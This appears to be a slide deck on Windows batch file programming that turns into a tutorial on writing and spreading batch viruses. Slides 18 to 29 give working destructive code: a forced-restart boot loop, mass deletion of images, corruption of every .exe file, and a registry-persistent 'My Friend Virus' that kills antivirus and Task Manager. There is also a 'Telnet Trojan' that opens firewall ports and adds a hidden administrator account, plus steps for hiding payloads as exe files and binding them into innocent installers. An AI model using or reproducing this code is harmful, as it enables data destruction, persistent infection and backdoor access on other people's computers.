  • 2. Introduction. Batch processing Explain. (In MS-Windows) Batch processing means when there are some unique processes or tasks executes one after another in form of a group, bunch, or batch. Here, in windows batch file means the bunch of DOS(Disk Operating System) Commands. By effective batch file programming many utilities, funny items or viruses that harm the windows machines can prepared. For good Batch file programmer deep knowledge Commands in new lines of DOS commands is must.
  • 3. Introduction. For making any batch file steps are.  Open Notepad.  Type DOS commands separately in new line.  Saved it by .bat extension.  To execute Double Click on that file which looks like . This is default icon of Batch files in Windows OS.
  • 4. Structure  Example – running dos command. Start-Run-cmd Then cmd windows open looks like Now type any ms dos commands. You can control entire Operation System through DOS commands. For more commands type help and press enter.
  • 5. Structure Working of File When we Click any batch file then -Firstly it opens the file read first line command run in command prompt. -Then closes the file. -Again open the file and run second file then close it. -Again open - run – close this process is continue till the commands ends and exit. Note: All commands must be in new Line.
  • 6. Operators. Operators – as Accelerators With batch files, which are also called batch Programs or scripts, you can simplify routine or repetitive tasks -Call -Setlocal -Echo -Endlocal -For -If -Rem -Goto -Shift -Endlocal
  • 7. Syntax  Syntax (mostly used)  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]  echo [{on|off}] [message]  for {%variable|%%variable} in (set) do command [ CommandLineOptions]  rem [comment]  goto label
  • 8. Fun  Undeletable Folder with Your Name. This code will create a folder on desktop and in root of all drives of your computer which is not simply deletable. -------------------------------------------------------------------------------------- :y md C:"Documents and Settings""All Users"Desktopyogendra md c:yogendra md d:yogendra md e:yogendra md f:yogendra md g:yogendra md h:yogendra goto y --------------------------------------------------------------------------------------- Copy this code in note pad and save it by anyname.bat
  • 9. Important: Here, all of you a Question or doubt in mind. Is this true? You think that if the black window of command prompt will continuously stays on desktop or on taskbar any on can suspect on it and if, somebody closes it then our batch file execution is stopped. Solution of this is the Batch to Exe convertor software which converts batch file into exe . Then the file runs in background and uncatchable. Bat2exe: you can download this from url: http://www.brothersoft.com/d.php? soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads %2FBat_To_Exe_Converter.zip
  • 10. Snapshot – Bat to Exe Source path (.bat file) Output path (.exe file) Check invisible application Finally compile the file
  • 11. Fun  Can’t do anything By this code we create a file that ends the explorer.exe and all things are gone. Code: ---------------------------------------------------------------------------------------- Taskkill /im explorer.exe /f ----------------------------------------------------------------------------------------
  • 12. Fun  Many Folders this code creates 1000’s of folders with number naming. Code: ---------------------------------------------------------------------- :e Md %random% Goto e ----------------------------------------------------------------------
  • 13. Fun  Rotating Clock hands this code rotates clocks hands continuously. Code: --------------------------------------------------------------------------------------------- :y time = 12:05:12 time = 12:10:12 time = 12:15:12 time = 12:20:12 time = 12:25:12 time = 12:30:12 time = 12:35:12 time = 12:40:12 time = 12:45:12 time = 12:50:12 time = 12:55:12 goto y -----------------------------------------------------------------------------------------------------------------------------------
  • 14. Utilities  With funny things we can also make some utilities for windows machine.  Utilities which helps us to maintain our system like speed, performance, hardisk mantainence.  By batch file we can make schedule task.
  • 15. Utilities  Disk defragmenter file. This file is used to defragment your hard disk. Copy this file into location. “C:Documents and SettingsAll UsersStart MenuProgramsStartup” code: ------------------------------------------------------------------------------------------ Defrag c: -f Defrag d: -f Defrag e: -f Defrag f: -f Msg * Defragment is completed ---------------------------------------------------------------------------------------------
  • 16. Utilities Steganography code: Code: ----------------------------------------------------------------------- Copy /b %1 + /b %2 new.jpg exit ----------------------------------------------------------------------------------------- Save this code by hide.bat Hiding process 1. Copy this hide.bat in a folder. 2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that folder. 3. Now runs this hide .bat through dos prompt by providing names of jpeg file and text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text hidden in it. 4. To get your text open this jpeg in notepad and find your text in last of the notepad.
  • 17. Utilities Refresh. Code: Code: ----------------------------------------------------------------------- taskkill /im explorer.exe /f start explorer.exe ---------------------------------------------------------------------------------------------- Scheduled Shutdown: Code: ----------------------------------------------------------------------- At [time] shutdown –s –f –t 00 –c “Message” -----------------------------------------------------------------------
  • 18. Virus Attacks System restart virus. This batch file code is restarts system when it starts Code: --------------------------------------------------------------------------------------------- echo shutdown –r –f –t 00 > shut.bat move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup ---------------------------------------------------------------------------------------------- Copy the above code and paste in notepad by name anything.bat and runs on any Pc then after next restart the system will never starts and automatically restarts.
  • 19. Virus Attacks  For loop viruses 1 For loop is a looping operator which creates loop for any command This code creates messages on desktop showing files are corrupted. ---------------------------------------------------------------------------------------------- Code: For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted. it not actually corrupts the file it shows only messages ---------------------------------------------------------------------------------------------- Note: conversion into exe is required.
  • 20. Virus Attacks For loop viruses 2 (Damage level :High) For loop is a looping operator which creates loop for any command 4. This code will remove all images, wallpapers from your system Warning! -- Try it on your own risk. Code: for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q Note: conversion into exe is required.
  • 21. Virus Attacks For loop viruses 3 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 22. Virus Attacks For loop viruses 4 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo you lost all !!!! >c:tempero.null for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 23. My Friend Virus (Dangerous level : High)  @echo off  rename mypic.exe igfx.exe  if exist c:windowssystem32igfx.exe goto code  if exist d:windowssystem32igfx.exe goto code  if exist e:windowssystem32igfx.exe goto code  if exist f:windowssystem32igfx.exe goto code  if exist g:windowssystem32igfx.exe goto code  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg  if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg  if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg  if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg  if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg  if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg  echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg  echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg  echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg  echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg  echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  if exist c:windowsnul copy igfx.exe c:windowssystem32  if exist d:windowsnul copy igfx.exe d:windowssystem32  if exist e:windowsnul copy igfx.exe e:windowssystem32  if exist f:windowsnul copy igfx.exe f:windowssystem32  if exist g:windowsnul copy igfx.exe g:windowssystem32  :code  shutdown -r -f -t 600  :e  if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"  if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"  if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"  if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"  if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"  taskkill /im USBGuard.exe /f  taskkill /im notepad.exe /f  taskkill /im SOUNDMAN.exe /f  taskkill /im taskmgr.exe /f  date 02-12-3060  goto e conversion into exe is required
  • 24. Telnet Trojen. Work as Remote Administrator tool with the use of telenet. @echo off sc config tlntsvr start= auto net start tlntsvr netsh firewall add portopening TCP 23 "Telnet" sc config termservice start= auto net start termservice netsh firewall add portopening TCP 3389 "Remote Desktop" net user Default 12345 /add net localgroup administrators Default /add By Sourabh Mishra.
  • 25. Finishing Virus Coding  Firstly copy all these coding into the notepad and name them anything with .bat extention.  Now converts this .bat file into .exe file with the help of Bat to Exe converter.  This is the software which Helps us to hide the cmd coding and runs the process in background. File.bat File.exe
  • 26. Finishing Virus Coding  After converting .bat file into .exe file What to do Next? All of u thinking that these are the .exe files how these are spreads. Your answer is the software which reside in directory c:windowssystem32 with name iexpress to start iexpress Start > Run > iexpress You will see this windows this is your mixing software.
  • 27. Finishing Virus Coding  Follows the instruction of software then after pressing some next you will find this window.  Here, add your viral code and the innocent software(exe) in which u want to bind this.
  • 28. Finishing Virus Coding  After that in two selection windows firstly select the innocent software(exe) location then in second Window select your viral code(exe). Follows the instruction and your New software setup is created Which is innocent but contains Harmful virus. When we install this software , then After installation of software the Added virus code is runs.
  • 29. Finishing Virus Coding Mixing process. .bat .exe setup.exe
  • 30. Prevention (Conclusion)  Some possible prevention or conclusions are 1.Do not accept any file with .bat or .exe extension on the internet while chatting or from your mailbox. 2.Do not take softwares from untrusted vendors. 3.Always check your autoruns by— start>run>msconfig>startup if u find something suspected target its path and remove it after checking it. 4.These are the batch viruses which are not so advanced viruses but having very dangerous capabilities, and only strong updated antivirus can catch them so always kept updated antivirus.
  • 31. Have any questions? Yogendra Kirar.